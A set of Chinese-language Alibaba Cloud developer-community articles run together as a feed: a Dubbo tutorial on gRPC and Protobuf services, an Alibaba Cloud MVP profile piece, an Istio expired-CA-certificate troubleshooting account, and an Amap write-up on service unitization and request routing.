        生成的 Stub 和消息类 如下:

        重点关注 GreeterGrpc ,包含了所有 gRPC 标准的 stub 类/方法,同时增加了 Dubbo 特定的接口,之后 Provider 端的服务暴露和 Consumer 端的服务调用都将依赖这个接口。

        /**
        * Code generated for Dubbo
        */
        public interface IGreeter {
        
          default public io.grpc.examples.helloworld.HelloReply     sayHello(io.grpc.examples.helloworld.HelloRequest request) {
            throw new UnsupportedOperationException("No need to override this method, extend XxxImplBase and override all methods it allows.");
          }
        
          default public com.google.common.util.concurrent.ListenableFuture<io.grpc.examples.helloworld.HelloReply> sayHelloAsync(
            io.grpc.examples.helloworld.HelloRequest request) {
            throw new UnsupportedOperationException("No need to override this method, extend XxxImplBase and override all methods it allows.");
          }
        
          public void sayHello(io.grpc.examples.helloworld.HelloRequest request,
                               io.grpc.stub.StreamObserver<io.grpc.examples.helloworld.HelloReply> responseObserver);
        
        }

        3. 业务逻辑开发

        继承 GreeterGrpc.GreeterImplBase (来自第 2 步),编写业务逻辑,这点和原生 gRPC 是一致的。

        package org.apache.dubbo.samples.basic.impl;
        
        import io.grpc.examples.helloworld.GreeterGrpc;
        import io.grpc.examples.helloworld.HelloReply;
        import io.grpc.examples.helloworld.HelloRequest;
        import io.grpc.stub.StreamObserver;
        
        public class GrpcGreeterImpl extends GreeterGrpc.GreeterImplBase {
          @Override
          public void sayHello(HelloRequest request, StreamObserver<HelloReply> responseObserver)         {
            System.out.println("Received request from client.");
            System.out.println("Executing thread is " + Thread.currentThread().getName());
            HelloReply reply = HelloReply.newBuilder()
              .setMessage("Hello " +     request.getName()).build();
            responseObserver.onNext(reply);
            responseObserver.onCompleted();
          }
        }
        1. Provider 端暴露 Dubbo 服务

        以 Spring XML 为例

        <dubbo:application name="demo-provider"/>
        
        <!-- 指定服务暴露协议为 gRPC -->
        <dubbo:protocol id="grpc" name="grpc"/>
        
        <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>
        
        <bean id="greeter" class="org.apache.dubbo.samples.basic.impl.GrpcGreeterImpl"/>
        
        <!-- 指定 protoc-gen-dubbo-java 生成的接口 -->
        <dubbo:service interface="io.grpc.examples.helloworld.GreeterGrpc$IGreeter" ref="greeter" protocol="grpc"/>
        public static void main(String[] args) throws Exception {
          ClassPathXmlApplicationContext context =
            new ClassPathXmlApplicationContext("spring/dubbo-demo-provider.xml");
          context.start();
        
          System.out.println("dubbo service started");
          new CountDownLatch(1).await();
        }
        1. 引用 Dubbo 服务
        <dubbo:application name="demo-consumer"/>
        
        <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>
        
        <!-- 指定 protoc-gen-dubbo-java 生成的接口 -->
        <dubbo:reference id="greeter" interface="io.grpc.examples.helloworld.GreeterGrpc$IGreeter" protocol="grpc"/>
        public static void main(String[] args) throws IOException {
          ClassPathXmlApplicationContext context =
            new ClassPathXmlApplicationContext("spring/dubbo-demo-consumer.xml");
          context.start();
        
          GreeterGrpc.IGreeter greeter = (GreeterGrpc.IGreeter) context.getBean("greeter");
        
          HelloReply reply = greeter.sayHello(HelloRequest.newBuilder().setName("world!").build());
          System.out.println("Result: " + reply.getMessage());
        
          System.in.read();
        }

        示例1附:高级用法

        一、异步调用

        再来看一遍 protoc-gen-dubbo-java 生成的接口:

        /**
        * Code generated for Dubbo
        */
        public interface IGreeter {
          default public HelloReply sayHello(HelloRequest request) {
            // ......
          }
          default public ListenableFuture<HelloReply> sayHelloAsync(HelloRequest request) {
            // ......
          }
          public void sayHello(HelloRequest request, StreamObserver<HelloReply> responseObserver);
        }

        这里为 sayHello 方法生成了三种类型的重载方法,分别用于同步调用、异步调用和流式调用,如果消费端要进行异步调用,直接调用 sayHelloAsync() 即可:

        public static void main(String[] args) throws IOException {
          // ...
          GreeterGrpc.IGreeter greeter = (GreeterGrpc.IGreeter) context.getBean("greeter");
          ListenableFuture<HelloReply> future =   
            greeter.sayHAsyncello(HelloRequest.newBuilder().setName("world!").build());
          // ...
        }

        二、高级配置

        由于当前实现方式是直接集成了 gRPC-java SDK,因此很多配置还没有和 Dubbo 侧对齐,或者还没有以 Dubbo 的配置形式开放,因此,为了提供最大的灵活性,我们直接把 gRPC-java 的配置接口暴露了出来。

        绝大多数场景下,你可能并不会用到以下扩展,因为它们更多的是对 gRPC 协议的拦截或者 HTTP/2 层面的配置。同时使用这些扩展点可能需要对 HTTP/2 或 gRPC 有基本的了解。

        扩展点

        目前支持的扩展点如下:

        • org.apache.dubbo.rpc.protocol.grpc.interceptors.ClientInterceptor
        • org.apache.dubbo.rpc.protocol.grpc.interceptors.GrpcConfigurator
        • org.apache.dubbo.rpc.protocol.grpc.interceptors.ServerInterceptor
        • org.apache.dubbo.rpc.protocol.grpc.interceptors.ServerTransportFilter

        GrpcConfigurator 是最通用的扩展点,我们以此为例来说明一下,其基本定义如下:

        public interface GrpcConfigurator {
          // 用来定制 gRPC NettyServerBuilder
          default NettyServerBuilder configureServerBuilder(NettyServerBuilder builder, URL url) {
            return builder;
          }
          // 用来定制 gRPC NettyChannelBuilder
          default NettyChannelBuilder configureChannelBuilder(NettyChannelBuilder builder, URL url) {
            return builder;
          }
          // 用来定制 gRPC CallOptions, 定义某个服务在每次请求间传递数据
          default CallOptions configureCallOptions(CallOptions options, URL url) {
            return options;
          }
        }

        以下是一个示例扩展实现:

        public class MyGrpcConfigurator implements GrpcConfigurator {
          private final ExecutorService executor = Executors
            .newFixedThreadPool(200, new NamedThreadFactory("Customized-grpc", true));
        
          @Override
          public NettyServerBuilder configureServerBuilder(NettyServerBuilder builder, URL url) {
            return builder.executor(executor);
          }
        
          @Override
          public NettyChannelBuilder configureChannelBuilder(NettyChannelBuilder builder, URL url)
          {
            return builder.flowControlWindow(10);
          }
        
          @Override
          public CallOptions configureCallOptions(CallOptions options, URL url) {
            return options.withOption(CallOptions.Key.create("key"), "value");
          }
        }

        配置为 Dubbo SPI,`resources/META-INF/services 增加配置文件

        default=org.apache.dubbo.samples.basic.comtomize.MyGrpcConfigurator
        1. 指定 Provider 端线程池
          默认用的是 Dubbo 的线程池,有 fixed (默认)、cached、direct 等类型。以下演示了切换为业务自定义线程池。
        private final ExecutorService executor = Executors
                     .newFixedThreadPool(200, new NamedThreadFactory("Customized-grpc", true));
        
        public NettyServerBuilder configureServerBuilder(NettyServerBuilder builder, URL url) 
        {
          return builder.executor(executor);
        }
        1. 指定 Consumer 端限流值
          设置 Consumer 限流值为 10
        @Override
        public NettyChannelBuilder configureChannelBuilder(NettyChannelBuilder builder, URL url)
        {
          return builder.flowControlWindow(10);
        }
        1. 传递附加参数
          DemoService 服务调用传递 key
        @Override
        public CallOptions configureCallOptions(CallOptions options, URL url) {
          if (url.getServiceInterface().equals("xxx.DemoService")) {
            return options.withOption(CallOptions.Key.create("key"), "value");
          } else {
            return options;
          }
        }

        三、双向流式通信
        代码中还提供了一个支持双向流式通信的示例,同时提供了拦截流式调用的 Interceptor 扩展示例实现。

        * MyClientStreamInterceptor,工作在 client 端,拦截发出的请求流和接收的响应流
        * MyServerStreamInterceptor,工作在 server 端,拦截收到的请求流和发出的响应流
        

        四、TLS 配置

        配置方式和 Dubbo 提供的通用的 TLS 支持一致,具体请参见 Dubbo 官方文档

        示例 2, 使用 Protobuf 开发 Dubbo 服务

        下面,我们以一个具体的示例来看一下基于 Protobuf 的 Dubbo 服务开发流程。

        1. 定义服务

        通过标准 Protobuf 定义服务

            syntax = "proto3";
        
            option java_multiple_files = true;
            option java_package = "org.apache.dubbo.demo";
            option java_outer_classname = "DemoServiceProto";
            option objc_class_prefix = "DEMOSRV";
        
            package demoservice;
        
            // The demo service definition.
            service DemoService {
              rpc SayHello (HelloRequest) returns (HelloReply) {}
            }
        
            // The request message containing the user's name.
            message HelloRequest {
              string name = 1;
            }
        
            // The response message containing the greetings
            message HelloReply {
              string message = 1;
            }

        这里定义了一个 DemoService 服务,服务只包含一个 sayHello 方法,同时定义了方法的入参和出参。

        2. Compiler 编译服务

        1. 引入 Protobuf Compiler Maven 插件,同时指定 protoc-gen-dubbo-java RPC 扩展
        <plugin>
          <groupId>org.xolstice.maven.plugins</groupId>
          <artifactId>protobuf-maven-plugin</artifactId>
          <version>0.5.1</version>
          <configuration>
            <protocArtifact>com.google.protobuf:protoc:3.7.1:exe:${os.detected.classifier}    
            </protocArtifact>
            <pluginId>dubbo-grpc-java</pluginId>
            <pluginArtifact>org.apache.dubbo:protoc-gen-dubbo-java:1.19.0-SNAPSHOT:exe:${os.detected.classifier}</pluginArtifact>
            <outputDirectory>build/generated/source/proto/main/java</outputDirectory>
            <clearOutputDirectory>false</clearOutputDirectory>
            <pluginParameter>dubbo</pluginParameter>
          </configuration>
          <executions>
            <execution>
              <goals>
                <goal>compile</goal>
                <goal>compile-custom</goal>
              </goals>
            </execution>
          </executions>
        </plugin>

        注意,这里与 Dubbo 对 gRPC 支持部分的区别在于: dubbo

        1. 生成 RPC stub
        # 运行以下 maven 命令
        $mvn clean compile

        生成的 Java 类如下:

        DemoServiceDubbo 为 Dubbo 定制的 stub

        public final class DemoServiceDubbo {
        
          private static final AtomicBoolean registered = new AtomicBoolean();
        
          private static Class<?> init() {
            Class<?> clazz = null;
            try {
              clazz = Class.forName(DemoServiceDubbo.class.getName());
              if (registered.compareAndSet(false, true)) {
                org.apache.dubbo.common.serialize.protobuf.support.ProtobufUtils.marshaller(
                  org.apache.dubbo.demo.HelloRequest.getDefaultInstance());
                org.apache.dubbo.common.serialize.protobuf.support.ProtobufUtils.marshaller(
                  org.apache.dubbo.demo.HelloReply.getDefaultInstance());
              }
            } catch (ClassNotFoundException e) {
              // ignore 
            }
            return clazz;
          }
        
          private DemoServiceDubbo() {}
        
          public static final String SERVICE_NAME = "demoservice.DemoService";
        
          /**
                  * Code generated for Dubbo
                  */
          public interface IDemoService {
        
            static Class<?> clazz = init();
            org.apache.dubbo.demo.HelloReply sayHello(org.apache.dubbo.demo.HelloRequest request);
        
            java.util.concurrent.CompletableFuture<org.apache.dubbo.demo.HelloReply> sayHelloAsync(
              org.apache.dubbo.demo.HelloRequest request);
        
          }
        
        }

        最值得注意的是 IDemoService 接口,它会作为 Dubbo 服务定义基础接口。

        3. 开发业务逻辑

        从这一步开始,所有开发流程就和直接定义 Java 接口一样了。实现接口定义业务逻辑。

        public class DemoServiceImpl implements DemoServiceDubbo.IDemoService {
          private static final Logger logger = LoggerFactory.getLogger(DemoServiceImpl.class);
        
          @Override
          public HelloReply sayHello(HelloRequest request) {
            logger.info("Hello " + request.getName() + ", request from consumer: " + RpcContext.getContext().getRemoteAddress());
            return HelloReply.newBuilder()
              .setMessage("Hello " + request.getName() + ", response from provider: "
                          + RpcContext.getContext().getLocalAddress())
              .build();
          }
        
          @Override
          public CompletableFuture<HelloReply> sayHelloAsync(HelloRequest request) {
            return CompletableFuture.completedFuture(sayHello(request));
          }
        }

        4. 配置 Provider

        暴露 Dubbo 服务

        <dubbo:application name="demo-provider"/>
        
        <dubbo:registry address="zookeeper://127.0.0.1:2181"/>
        
        <dubbo:protocol name="dubbo"/>
        
        <bean id="demoService" class="org.apache.dubbo.demo.provider.DemoServiceImpl"/>
        
        <dubbo:service interface="org.apache.dubbo.demo.DemoServiceDubbo$IDemoService" ref="demoService"/>
        public static void main(String[] args) throws Exception {
          ClassPathXmlApplicationContext context = 
            new ClassPathXmlApplicationContext("spring/dubbo-provider.xml");
          context.start();
          System.in.read();
        }

        5. 配置 Consumer

        引用 Dubbo 服务

        <dubbo:application name="demo-consumer"/>
        
        <dubbo:registry address="zookeeper://127.0.0.1:2181"/>
        
        <dubbo:reference id="demoService" check="false" interface="org.apache.dubbo.demo.DemoServiceDubbo$IDemoService"/>
        public static void main(String[] args) throws Exception {
          ClassPathXmlApplicationContext context = 
            new ClassPathXmlApplicationContext("spring/dubbo-consumer.xml");
          context.start();
          IDemoService demoService = context.getBean("demoService", IDemoService.class);
          HelloRequest request = HelloRequest.newBuilder().setName("Hello").build();
          HelloReply reply = demoService.sayHello(request);
          System.out.println("result: " + reply.getMessage());
          System.in.read();
        }

        展望

        RPC 协议是实现微服务体系互通的核心组件,通常采用不同的微服务通信框架则意味着绑定某一个特定的协议,如 Spring Cloud 基于 HTTP、gRPC 提供 gRPC over HTTP/2、Thrift Hessian 等都是自定义私有协议。

        Dubbo 自身同样提供了私有的 Dubbo 协议,这样你也能基于 Dubbo 协议构建微服务。但除了单一协议之外,和以上所有框架不同的,Dubbo 最大的优势在于它能同时支持多协议的暴露和消费,再配合 Dubbo 多注册订阅的模型,可以让 Dubbo 成为桥接多种不同协议的微服务体系的开发框架,轻松的实现不同微服务体系的互调互通或技术栈迁移。

        这篇文章详细讲解了 Dubbo 对 gRPC 协议的支持,再加上 Dubbo 之前已具备的对 REST、Hessian、Thrift 等的支持,使 Dubbo 在协议互调上具备了基础。我们只需要在服务发现模型上也能实现和这些不同体系的打通,就能解决不同技术栈互调和迁移的问题。关于这部分的具体应用场景以及工作模式,我们将在接下来的文章中来具体分析。

        作者信息:刘军,Github账号Chickenlj,Apache Dubbo PMC,项目核心维护者,见证了Dubbo从重启开源到Apache毕业的整个流程。现任职阿里巴巴中间件团队,参与服务框架、微服务相关工作,目前主要在推动Dubbo开源的云原生化。

        ]]>
        一群有趣的灵魂,奋斗在中国数字化转型中-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image

        在各行各业中,一群有观点,敢于创新,勇于面对挑战的技术达人,正在全面地参与中国数字化转型,为中国在前沿科技实践中贡献自己一份力量!

        拥抱新科技,大胆在商业中不断验证自己的技术想法,阿里云 MVP就是这样一群人,阿里云最具价值专家,简称MVP(Most Valuable Professional),是阿里云为感谢全球杰出技术人所作贡献,授予全球行业数字化转型的技术实践领袖的荣誉称号。他们懂技术,爱分享,愿意普惠更多开发者,推动行业进步。他们来自数字转型最热行业,他们如点点繁星,在各自领域发光发热,点亮更多技术人的前路。

        马上申请成为阿里云 MVP,一起同行!

        image
        长按二维码 申请MVP

        刘湘雯,阿里巴巴云智能事业群战略与合作部总经理,阿里巴巴达摩院院长助理曾说:“阿里云 MVP不是家人,胜似家人!”

        别样人生:创业精神,薪火相传

        脱去国际大公司的光环,转化角色成为引领者,将自己技术创新理念,转化为产品解决行业问题,带领同路人勇于面对行业挑战!

        image

        北京叶帆科技创始人兼CEO刘洪峰,冶金专业出身,出于对编程的热爱自学C语言。从微软中国的软件开发,到工控程序员到物联网创业公司CEO等多个角色,都坚持着“制造机器人的梦想”。十多年技术路上他逐渐成为技术布道师,《技术创业者如何绘制战略“一张图”》一文,吸引30+万的创业者、技术人。

        image

        赵舜东被圈内人士亲切地称为“赵班长”,曾在武警某部负责指挥自动化的架构和运维工作,2008年退役后一直从事互联网运维工作,当过站长维护服务器,早期拥抱云计算,从Devops、智能运维不断升级自己技术实力,形成了自己独特的方法论。现在已经成为运维圈知名的讲师!

        image

        思必驰VP、北京研发院院长、中科院女博士,初敏的背景漂亮得令人称叹,是女性开发者的典型代表。这位阿里校友成为阿里云MVP,继续与我们并肩作战,深耕人工智能,拓展语音技术在物联网外的新业务、新场景的落地。

        也许他们的专业、性格相去甚远,但因同为“阿里云MVP”身份而得以相聚一堂,享受思想火花的碰撞,寻找同行人坚持前路。

        数字中国:云计算助力行业转型

        image

        上海驻云科技CEO蒋烁淼,2013年创立了公司,这是缘自从小就玩互联网,在1994年还凭借着上网证的时代,就接触互联网了,1999年建立了个人网站。早年接触了阿里云,提出了很多意见和建议,他成为了试飞员,引领中国云计算的产业发展。像桃园结义那样,找到了创业中最合适的人与他共同前行。他认为云计算逐渐成为了一个从包含基础设施,到提供整套管理、软件解决方案的庞大体系;未来,下一个互联网时代中,将会是物联网的天下,而以云计算作为物联网的基石,才是制胜的关键。

        image

        90后 CTO花了6年,改变了你日常生活里的这件事。今年25岁的黄胜蓝接到了阿里云MVP认证通过的邮件,成为最年轻的阿里云MVP之一。黄胜蓝的创业经历堪称精彩:高中凭借奥赛保送武汉大学,大二一度中断学业开始投入创业。六年后的今天,极验验证已经为20多万家免费客户、近500家付费客户提供服务。黄胜蓝曾说:“在寒风下坚持自己、专注练内功,在春天来的时候,你就是第一个起跑的人。”

        码上公益:用技术温暖他人

        MVP共创公益项目,一直都在默默进行。从服务数万爱心教师支教,到推动中国渔业生态保护,阿里云MVP主动肩负起了更多的使命。

        image

        浙江银杏谷投资公司总裁技术助理戚俊,作为一场特殊“产品沟通会”的主持人,同时也是阿里云“码上公益”平台上的3000多名爱心极客之一,特意从南京赶到上海,为“最美食物包”系统三天后的产品上线,做最后一次沟通、调研。他在繁忙的日常工作之余,放弃了娱乐休闲活动,花了1个多月的时间,从初期沟通到撰写代码都亲自上阵,实在忙不过来的时候,也拉着公司同事一起帮忙。

        戚俊曾说“即使最基本的,都不应该浪费。即使最贫穷的,都不应该挨饿。整个过程虽然辛苦,但能用自己写的代码真的为社会做点事情,帮助到需要帮助的人,这是IT工程师最大的荣幸。”

        两年多来,阿里云MVP致力于用开放的心态,与非凡的伙伴,让天下没有难做的技术。我们举办了上百场 MVP TechShow技术布道,为在各行各业的MVPs提供丰富多彩的聚会和培训。

        image

        在这里,你既是技术先驱,又是意见领袖;是领域探索家,更是行业布道者。与其他有趣的灵魂一起讨论前沿技术,探索技术创新,实现个人进阶。我们邀请你,让科技更具力量,用技术连接世界。

        长按识别下方二维码,马上申请成为阿里云 MVP,一起同行!

        image

        原文发布时间为:2019-11-25
        作者: 阿里技术
        本文来自云栖社区合作伙伴“阿里技术”,了解相关信息可以关注“阿里技术”。

        ]]>
        Isito从懵圈到熟练 - 半夜两点Ca证书过期问题处理惨况总结-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 11月22号半夜2点,被值班同学的电话打醒。了解下来,大概情况是,客户某一台K8s集群节点重启之后,他再也无法创建Istio虚拟服务和Pod了。

        一来对Istio还不是那么熟悉,二来时间可能有点晚,脑子还在懵圈中,本来一个应该比较轻松解决掉的问题,花了几十分钟看代码,处理的惨不忍睹。最终还是在某位大神帮助下,解决了问题。

        鉴于此问题,以及相关报错,在网上找不到对应的文章,所以这里分享下这个问题,避免后来的同学,在同样的地方踩坑。另外谨以此篇致敬工作中遇到过的大神!

        不断重启的Citadel

        Citadel是istio的证书分发中心。证书即某个实体的身份证明,直接代表着实体本身参与信息交流活动。Citadel作为证书分发中心,负责替服务网格中每个服务创建身份证书,方便服务之间安全交流。

        这个问题的现象是,Citadel再也无法启动了,导致无法创建新的虚拟服务和Pod实例。观察Citadel,发现其不断重启,并输出以下报错信息。

        2019-11-22T02:40:34.814547Z     warn    Neither --kubeconfig nor --master was specified.  Using the inClusterConfig.  This might not work.
        2019-11-22T02:40:34.815408Z     info    Use self-signed certificate as the CA certificate
        2019-11-22T02:40:34.840128Z     error   Failed to create a self-signed Citadel (error: [failed to create CA KeyCertBundle (cannot verify the cert with the provided root chain and cert pool)])

        通过代码分析,以及最后一行报错,可以理解问题背后的逻辑:

        1. Citadel不能启动,是因为其无法创建自签名的证书(Failed to create a self-signed Citadel)
        2. Citadel无法创建自签名证书的原因,又是由于它不能创建秘钥和证书(failed to create CA KeyCertBundle)
        3. 而前两条的根本的原因,是因为在验证创建的自签名证书的时候,验证失败(cannot verify the cert with the provided root chain and cert pool)

        一般意义上的证书验证

        证书的签发关系,会把证书连接成一棵证书签发关系树。顶部是根证书,一般由可信第三方持有,根证书都是自签名的,即其不需要其他机构来对其身份提供证明。其他层级的CA证书,都是由上一层CA证书签发。最底层的证书,是给具体应用使用的证书。

        b

        验证这棵树上的证书,分两种情况:

        根证书验证。因为即是签发者,又是被签发者,所以根证书验证,只需要提供根证书本身,一般肯定验证成功。
        其他证书验证。需要提供证书本身,以及其上层所有CA证书,包括根证书。

        自签名证书验证失败Citadel启动失败的根本原因,是其创建的自签名的证书,无法验证通过。而这一点,也是我处理问题时,卡壳的原因。左思右想,不明白为什么刚刚新建的自签名证书,都验证不通过。

        大神定理

        有一条定理,就是我们绞尽脑汁,耗费大量时间无法解决的问题,在大神眼里,可能就是几秒钟的事情。11月22号半夜,这条真理再次被验证。
        因为实在想不通,但是用户又非常着急,所以最终还是打扰了一位大神,他只大概看了一下报错,就判断是CA证书过期问题。使用istio提供的证书验证脚本,很快证实了他的判断。相关文章见最后参考部分。

        Citadel证书体系

        问题解决了,这里总结下Citadel证书体系。大多数用户使用Isito的时候,都会选择使用自签名的根证书。自签名根证书,证书,以及证书使用者sidecar三种之间有三种关系:

        c

        1. 根证书和证书之间的签发关系。这种关系,保证了信任的传递性质。
        2. 证书和sidecar之间的持有和被持有关系。某种意义上,这是给pod/sidecar和证书画上了等号。
        3. 根证书和sidecar之间的信任关系。这与前两条加起来,sidecar就信任所有根证书签发的证书。

        以上三条,即可保证,在互相通信的时候,pod/sidecar之间可以完成tls双向认证成功。

        犯的错

        这个问题排查中,实际上犯了两个错误。一个是代码阅读不仔细,一直盯着自签名证书新建的逻辑看。因为有了这个前提,即新建证书验证失败,所以没有办法理解,为什么新建的自签名证书也会验证失败,所以倾向于认为是底层安全库出了问题;另外一个是,只盯着Citadel不能启动的报错做,忽略了另外一条线索,就是Pod和虚拟服务创建失败。实际上后来发现,pod和虚拟服务创建失败的报错,有更明显的证书过期错误信息。

        virtualservices.networking.istio.io "xxxx" could not be patched: Internal error occurred: failed calling admission webhook "pilot.validation.istio.io": Post https://istio-galley.istio-system.svc:443/admitpilot?timeout=30s: x509: certificate has expired or is not yet valid.

        后记

        在Istio比较早期的版本中,自签名Ca证书有效期只有一年时间,如果使用老版本Istio超过一年,就会遇到这个问题。当证书过期之后,我们创建新的虚拟服务或者pod,都会因为CA证书过期而失败。而这时如果Citadel重启,它会读取过期证书并验证其有效性,就会出现以上Cidatel不能启动的问题。

        这个Ca证书在K8s集群中,是以istio-ca-secret命名的secret,我们可以使用openssl解码证书来查看有效期。这个问题比较简单的处理方法,就是删除这个Secret,并重启Citadel,这时Citadel会走向新建和验证自签名Ca证书的逻辑并刷新Ca证书。或者参考以下官网处理方式。

        参考

        https://istio.io/docs/ops/security/root-transition/

        ]]>
        高德服务单元化方案和架构实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 导读:本文主要介绍了高德在服务单元化建设方面的一些实践经验,服务单元化建设面临很多共性问题,如请求路由、单元封闭、数据同步,有的有成熟方案可以借鉴和使用,但不同公司的业务不尽相同,要尽可能的结合业务特点,做相应的设计和处理。

        一、为什么要做单元化

        • 单机房资源瓶颈

        随着业务体量和服务用户群体的增长,单机房或同城双机房无法支持服务的持续扩容。

        • 服务异地容灾

        异地容灾已经成为核心服务的标配,有的服务虽然进行了多地多机房部署,但数据还是只在中心机房,实现真正意义上的异地多活,就需要对服务进行单元化改造。

        二、高德单元化的特点

        在做高德单元化项目时,我们首先要考虑的是结合高德的业务特点,看高德的单元化有什么不一样的诉求,这样就清楚哪些经验和方案是可以直接拿来用的,哪些又是需要我们去解决的。

        高德业务和传统的在线交易业务还是不太一样,高德为用户提供以导航为代表的出行服务,很多业务场景对服务的RT要求会很高,所以在做单元化方案时,尽可能减少对整体服务RT的影响就是我们需要重点考虑的问题,尽量做到数据离用户近一些。转换到单元化技术层面需要解决两个问题:

        1.用户设备的单元接入需要尽可能的做到就近接入,用户真实地理位置接近哪个单元就接入哪个单元,如华北用户接入到张北,华南接入到深圳。

        2.用户的单元划分最好能与就近接入的单元保持一致,减少单元间的跨单元路由。如用户请求从深圳进来,用户的单元划分最好就在深圳单元,如果划到张北单元就会造成跨单元路由。

        另外一个区别就是高德很多业务是无须登录的,所以我们的单元化方案除了用户ID也要支持基于设备ID。

        三、高德单元化实践

        服务的单元化架构改造需要一个至上而下的系统性设计,核心要解决请求路由、单元封闭、数据同步三方面问题。
        wangwei1.png
        请求路由:根据高德业务的特点,我们提供了取模路由和路由表路由两种策略,目前上线应用使用较多的是路由表路由策略。

        单元封闭:得益于集团的基础设施建设,我们使用vipserver、hsf等服务治理能力保证服务同机房调用,从而实现单元封闭(hsf unit模式也是一种可行的方案,但个人认为同机房调用的架构和模式更简洁且易于维护)。

        数据同步:数据部分使用的是集团DB产品提供的DRC数据同步。

        单元路由服务采用什么样的部署方案是我们另一个要面临的问题,考虑过以下三种方案:
        wangwei2.png
        第一种SDK的方式因为对业务的强侵入性是首先被排除的,统一接入层进行代理和去中心化插件集成两种方案各有利弊,但当时首批要接入单元化架构的服务很多都还没有统一接入到gateway,所以基于现状的考虑使用了去中心化插件集成的方式,通过在应用的nginx集成UnitRouter。

        服务单元化架构

        目前高德账号,云同步、用户评论系统都完成了单元化改造,采用三地四机房部署,写入量较高的云同步服务,单元写高峰能达到数w+QPS (存储是mongodb集群)。

        以账号系统为例介绍下高德单元化应用的整体架构。
        wangwei3.png
        账号系统服务是三地四机房部署,数据分别存储在tair为代表的缓存和XDB里,数据存储三地集群部署、全量同步。账号系统服务器的Tengine上安装UntiRouter,它请求的负责单元识别和路由,用户单元划分是通过记录用户与单元关系的路由表来控制。

        PS:因历史原因缓存使用了tair和自建的uredis(在redis基础上添加了基于log的数据同步功能),目前已经在逐步统一到tair。数据同步依赖tair和alisql的数据同步方案,以及自建的uredis数据同步能力。
        **
        就近接入实现方案**

        为满足高德业务低延时要求,就要想办法做到数据(单元)离用户更近,其中有两个关键链路,一个是通过aserver接入的外网连接,另一个是服务内部路由(尽可能不产生跨单元路由)。

        措施1:客户端的外网接入通过aserver上的配置,将不同地理区域(七个大区)的设备划分到对应近的单元,如华北用户接入张北单元。

        措施2:通过记录用户和单元关系的路由表来划分用户所属单元,这个关系是通过系统日志分析出来的,用户经常从哪个单元入口进来,就会把用户划分到哪个单元,从而保证请求入口和单元划分的相对一致,从而减少跨单元路由。

        所以,在最终的单元路由实现上我们提供了传统的取模路由,和为降延时而设计的基于路由表路由两种策略。同时,为解无须登录的业务场景问题,上述两种策略除了支持用户ID,我们同时也支持设备ID。
        wangwei4.png
        路由表设计

        路由表分为两部分,一个是用户-分组的关系映射表,另一个是分组-单元的关系映射表。在使用时,通过路由表查对应的分组,再通过分组看用户所属单元。分组对应中国大陆的七个大区。

        先看“用户-(大区)分组”:

        路由表是定期通过系统日志分析出来的,看用户最近IP属于哪个大区就划分进哪个分组,同时也对应上了具体单元。当一个北京的用户长期去了深圳,因IP的变化路由表更新后将划进新大区分组,从而完成用户从张北单元到深圳单元的迁移。

        再看“分组-单元”:

        分组与单元的映射有一个默认关系,这是按地理就近来配置的,比如华南对应深圳。除了默认的映射关系,还有几个用于切流预案的关系映射。
        wangwei5.png
        老用户可以通过路由表来查找单元,新用户怎么办?对于新用户的处理我们会降级成取模的策略进行单元路由,直至下次路由表的更新。所以整体上看新用户跨单元路由比例肯定是比老用户大的多,但因为新用户是一个相对稳定的增量,所以整体比例在可接受范围内。
        wangwei6.png
        路由计算

        有了路由表,接下来就要解工程化应用的问题,性能、空间、灵活性和准确率,以及对服务稳定性的影响这几个方面是要进行综合考虑的,首先考虑外部存储会增加服务的稳定性风险,后面我们在BloomFilter 、BitMap和MapDB多种方案中选择BloomFilter,万分之几的误命中率导致的跨单元路由在业务可接受范围内。

        通过日志分析出用户所属大区后,我们将不同分组做成多个布隆过滤器,计算时逐层过滤。这个计算有两种特殊情况:

        1) 因为BloomFilter存在误算率,有可能存在一种情况,华南分组的用户被计算到华北了,这种情况比例在万分之3 (生成BloomFilter时可调整),它对业务上没有什么影响,这类用户相当于被划分到一个非所在大区的分组里,但这个关系是稳定的,不会影响到业务,只是存在跨单元路由,是可接受的。

        2) 新用户不在分组信息里,所以经过逐层的计算也没有匹配到对应大区分组,此时会使用取模进行模除分组的计算。
        wangwei7.png
        如果业务使用的是取模路由而非路由表路由策略,则直接根据tid或uid计算对应的模除分组,原理简单不详表了。

        单元切流

        在发生单元故障进行切流时,主要分为四步骤

        打开单元禁写 (跨单元写不敏感业务可以不配置)

        检查业务延时

        切换预案

        解除单元禁写

        PS:更新路由表时,也需要上述操作,只是第3步的切换预案变成切换新版本路由表;单元禁写主要是了等待数据同步,避免数据不一致导致的业务问题。

        核心指标

        单元计算耗时1~2ms

        跨单元路由比例底于5%

        除了性能外,因就近接入的诉求,跨单元路由比例也是我们比较关心的重要指标。从线上观察看,路由表策略单元计算基本上在1、2ms内完成,跨单元路由比例3%左右,整体底于5%。

        四、后续优化

        统一接入集成单元化能力

        目前大部分服务都接入了统一接入网关服务,在网关集成单元化能力将大大减少服务单元化部署的成本,通过简单的配置就可以实现单元路由,服务可将更多的精力放在业务的单元封闭和数据同步上。

        分组机制的优化

        按大区分组存在三个问题:

        通过IP计算大区有一定的误算率,会导致部分用户划分错误分组。

        分组粒度太大,单元切流时流量不好分配。举例,假如华东是我们用户集中的大区,切流时把这个分组切到任意一个指定单元,都会造成单元服务压力过大。

        计算次数多,分多少个大区,理论最大计算次数是有多少次,最后采取取模策略。

        针对上述几个问题我们计划对分组机制做如下改进

        通过用户进入单元的记录来确认用户所属单元,而非根据用户IP所在大区来判断,解上述问题1。

        每个单元划分4个虚拟分组,支持更细粒度单元切流,解上述问题2。

        用户确实单元后,通过取模来划分到不同的虚拟分组。每个单元只要一次计算就能完成,新用户只需经过3次计算,解上述问题3。
        wangwei8.png
        热更时的双表计算

        与取模路由策略不同,路由表策略为了把跨单元路由控制在一个较好的水平需要定期更新,目前更新时需要一个短暂的单元禁写,这对于很多业务来说是不太能接受的。

        为优化这个问题,系统将在路由表更新时做双(路由)表计算,即将新老路由表同时加载进内存,更新时不再对业务做完全的禁写,我们会分别计算当前用户(或设备)在新老路由表的单元结果,如果单元一致,则说明路由表的更新没有导致该用户(或设备)变更单元,所以请求会被放行,相反如果计算结果是不同单元,说明发生了单元变更,该请求会被拦截,直至到达新路由表的一个完全起用时间。

